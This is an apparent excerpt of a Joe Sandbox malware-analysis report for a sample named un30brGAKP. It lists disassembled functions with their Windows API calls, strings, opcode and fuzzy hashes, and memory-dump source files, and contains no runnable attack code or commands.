API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00E2B634 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 00E2B647

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: ed2a7c39c44b2690938be3bcd3f0c49803a9e7dd82c839dc5e768a5bed4d8f2e
Instruction ID: 50914f6eb8a9b725f6521a962143087d93041a28b5237d63166ca36b9dfdad87
Opcode Fuzzy Hash: ed2a7c39c44b2690938be3bcd3f0c49803a9e7dd82c839dc5e768a5bed4d8f2e
Instruction Fuzzy Hash: FFB09290C0C2452EEF2197A9AD4C7752A5D5FC0306F04108870C0F20A0CFB44648E224

Function 00D8D3E9 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

0567FAAB3419304A1B825E506F021727, xrefs: 00D8D524

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: 0567FAAB3419304A1B825E506F021727
API String ID: 0-1923236122
Opcode ID: 9b1ebf5402e7d72167f88f86e36b27b93e4f9c384b83bc8f6ddf234072f1baa9
Instruction ID: 7e2b77735cc6306902f01e78bbd7b0ae071d0c41d0be772131b06e40c6ed698f
Opcode Fuzzy Hash: 9b1ebf5402e7d72167f88f86e36b27b93e4f9c384b83bc8f6ddf234072f1baa9
Instruction Fuzzy Hash: C3514776681B018BD7158F38DC8176277E3EFD6311B1DC66CC0968B796EA39B4068760

Function 00E89CA4 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

\\.\, xrefs: 00E89D72

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: \\.\
API String ID: 0-2900601889
Opcode ID: 6edabf65228c965691ec1b32bdb953dd36ff753712aa15e814927631f9513b9b
Instruction ID: ed73b6dd89665eaa600a7e934ca3f175d024d9cbcd5c261c8a0b9f7f6a6b99fa
Opcode Fuzzy Hash: 6edabf65228c965691ec1b32bdb953dd36ff753712aa15e814927631f9513b9b
Instruction Fuzzy Hash: DC510E70A002189BDB15EB68CC81BDEB7B5EF48704F5085A2E508A7392D7749F95CF61

Function 00DBEC20 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

@, xrefs: 00DBEC88

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 08826e1bf4ffb94b0cfdcbd0e2996d10d162be43e96d38d66a04de6ab1060469
Instruction ID: 1ba030fd69e0e83589b6c1ace6991d1673901e9286de155e5e9fc1639c4c8f7c
Opcode Fuzzy Hash: 08826e1bf4ffb94b0cfdcbd0e2996d10d162be43e96d38d66a04de6ab1060469
Instruction Fuzzy Hash: 7F31F1724083058BC318DF18D8966BBFBF5FB85314F28992DE58A87390D775D908CBA6

Function 00DBF670 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 78664e39af21ae09e6bd37155aaa9cfa431bffe5cb29e593f17895f6ff2f35d0
Instruction ID: 749c4f19337943fa0243955de5be9248161075ad2b8f27dd745d962c97a666cb
Opcode Fuzzy Hash: 78664e39af21ae09e6bd37155aaa9cfa431bffe5cb29e593f17895f6ff2f35d0
Instruction Fuzzy Hash: 07913736A083118FC7288F68D8916BFB7A2EBD5310F1D853DE9CA57391C6749C05CBA2

Function 00DBED50 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0de3b0d8c0c6b0954c66327f76982bd1eab0e57e172b9ca43273de3e325028a0
Instruction ID: 7affd74e073bd89d58bda9ccc9d9fd3d398baf807ee102d52728f96e97933b2c
Opcode Fuzzy Hash: 0de3b0d8c0c6b0954c66327f76982bd1eab0e57e172b9ca43273de3e325028a0
Instruction Fuzzy Hash: 6A812972A18311DBC724DF58C891AABB7A2FB98300F19853DE98A57361EB74DD00C7A5

Function 00D88790 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc0a10ffd80c620e0e263f61f129bcc66d865375b0d5cfe78022e4c888a8f93
Instruction ID: 6b930bb4278b99de20d2e0c8793a91c77995715e701dc3531c955681897b891a
Opcode Fuzzy Hash: abc0a10ffd80c620e0e263f61f129bcc66d865375b0d5cfe78022e4c888a8f93
Instruction Fuzzy Hash: 7B514973A043054FD318AF68CC1676AF7D69BC4320F0EC13EA485DB391EE78980597A2

Function 00DBB150 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e3c583bd3bf181d4c6a826267e0a2b6f44f2b9f5135ca734ed26c4ba106738fe
Instruction ID: cbb22a32595abfab360ea7277050204cf11cf9881cdf7908a65035502148420b
Opcode Fuzzy Hash: e3c583bd3bf181d4c6a826267e0a2b6f44f2b9f5135ca734ed26c4ba106738fe
Instruction Fuzzy Hash: BC516B35608314DFD7245F28CC94BBBB7E2EB86720F59453DD88697351D3B19C0187A5

Function 00DBFFB0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d11347407ef90f4dc0edcd4a9007c85b4ad4e840cc3ffe6b178108b13bbea36e
Instruction ID: 37d05da711aed098fc5e7d1447850b9201d4a06e88367ca2ac8a98975cb3a5f8
Opcode Fuzzy Hash: d11347407ef90f4dc0edcd4a9007c85b4ad4e840cc3ffe6b178108b13bbea36e
Instruction Fuzzy Hash: B1411331208306DBE7188E14DCA9F7AFBA2FB84714F2C852DE18A97390D671EC01C765

Function 00E29CC0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction ID: 4adcb33a31c78856b2ebd7a9435539a052066470c13902ae3cc612768e68dcf7
Opcode Fuzzy Hash: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction Fuzzy Hash: 96111BB5D0061CFBCF00ABD4D884DDEBBBAEF08320F1065D2B558B6251DB328B90AB51

Function 00E03490 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d061f624f67d31990222eeb169f4dcf3896ca2fc9d315ebe6dc0ae58054c621
Instruction ID: 7813c9f3f4dd5dfd1520465d26d968c7af505077f5c48a67bf072c7ba580d15f
Opcode Fuzzy Hash: 4d061f624f67d31990222eeb169f4dcf3896ca2fc9d315ebe6dc0ae58054c621
Instruction Fuzzy Hash: AC01A7306043185FC726AA788C82ADA77ECEB49310F4155B6F50DE33B2E6759E80C974

Function 00DE2958 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d188f54dc27522cc84d6b325ba5fffe5e67bc43b87fe5a18ef6df774b40b6b45
Instruction ID: d6c25fe85ae7110be9146f3c3c7809008a92f19f4ac023ad25c89f16bbd16894
Opcode Fuzzy Hash: d188f54dc27522cc84d6b325ba5fffe5e67bc43b87fe5a18ef6df774b40b6b45
Instruction Fuzzy Hash: C3E04E68409607A1C204BF55C8414AEBBE9EE98B40F808D59F8E942761EA718599C77B

Function 00E2B7F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction ID: 3608247a172a26a92d3b61f7f246a35e7ec27d7247091c93b67ee079c58c0909
Opcode Fuzzy Hash: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction Fuzzy Hash: A4D092B211020D6B8B01EEECDD41DDB33DCAA08610B04892ABA09D7142EA34E9258BB1

Function 00F4360C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomA.KERNEL32(?), ref: 00F43698

Strings

Enigma, xrefs: 00F43683
Delphi, xrefs: 00F43634
WndProcPtr, xrefs: 00F4365E
ControlOfs, xrefs: 00F43649

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AtomGlobal
String ID: ControlOfs$Delphi$Enigma$WndProcPtr
API String ID: 2189174293-1257653096
Opcode ID: 2e001e5e557931f6d12039a5768d48564ea570eee9bb722f55c450178b12adbe
Instruction ID: bdbca75ffe81c2e9316c6b35c7cbec47200673299bd5f7ffc5ab06dce5876b5d
Opcode Fuzzy Hash: 2e001e5e557931f6d12039a5768d48564ea570eee9bb722f55c450178b12adbe
Instruction Fuzzy Hash: CF11C4307043067BDB01EA708C62F5E7AA9DB84720F624434BE0197787DAB9DE05A661

Function 00D8CD76 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00D8CEBF

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 312d0465ded825ab6e0e8c3807ad29d7a16236178650ffcc4d0208be53ace548
Instruction ID: f5efa019065f8991bdcab57e80521c1dcc27f06f81fc2033e3429a7e01d6736a
Opcode Fuzzy Hash: 312d0465ded825ab6e0e8c3807ad29d7a16236178650ffcc4d0208be53ace548
Instruction Fuzzy Hash: 1A41C7B4D10B40AFD370EF39D90B7127EB4AB05250F508B2DF9EA866D4E635A4198BD3

Function 00DBCC10 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 00DBCC65

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 676272653e3ca8c38b83ed2d9104a5f9b20555ea294efc6a30d92fe84e57a830
Instruction ID: 088f36098fd19f53b21d54df3f716ff0edd015e65ea7a4d78c95ea9752af24cc
Opcode Fuzzy Hash: 676272653e3ca8c38b83ed2d9104a5f9b20555ea294efc6a30d92fe84e57a830
Instruction Fuzzy Hash: 14F0A9B6504323EFC2145F64BC09E9737BCEF867A2F011865F002D6651EB34E800C6B1

Function 00D8CF3D Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00D8CF72

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4d30fa8a1617fafbdc32fe4901e267f1391a47f855b300079ab06caa8934b0dd
Instruction ID: f28cba756ea1503baf36b0fc99f412acc8c704de223f17deb69a0fb29f88c480
Opcode Fuzzy Hash: 4d30fa8a1617fafbdc32fe4901e267f1391a47f855b300079ab06caa8934b0dd
Instruction Fuzzy Hash: A2E042343D8303BAF6788754EC67F1436265B56F26F304304B726BE3E586E07501856D

Function 00DBB120 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00D92F77), ref: 00DBB140

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f0ded0041a888deb1ef4228a16cd78d050e398c6f0696ef84efed3bab99c09b0
Instruction ID: cf22e4e522e4cc137d61410f29eb8b5f8abd811e08f803e28a604e517ba07768
Opcode Fuzzy Hash: f0ded0041a888deb1ef4228a16cd78d050e398c6f0696ef84efed3bab99c09b0
Instruction Fuzzy Hash: C9D0C931455233EBC6502F18FC05FCB3B68DF89321F070891B441AA165C624EC919AE4

Function 00DBB100 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000000,00DBB21A,00000000), ref: 00DBB110

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e22f5a28cb32e7f35b02d8818efacfc5881f6f570c566388c8791e6e9362f29a
Instruction ID: 55766ed61b31308784c2dc0b2a5d59878a1511c83f839f6300446d7ed1337a03
Opcode Fuzzy Hash: e22f5a28cb32e7f35b02d8818efacfc5881f6f570c566388c8791e6e9362f29a
Instruction Fuzzy Hash: 83C04835446221AACA142B14FC09FCA7B68EF49360F024492B006A72B2C660AC868AA8

Function 00F43598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 00F435C3

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
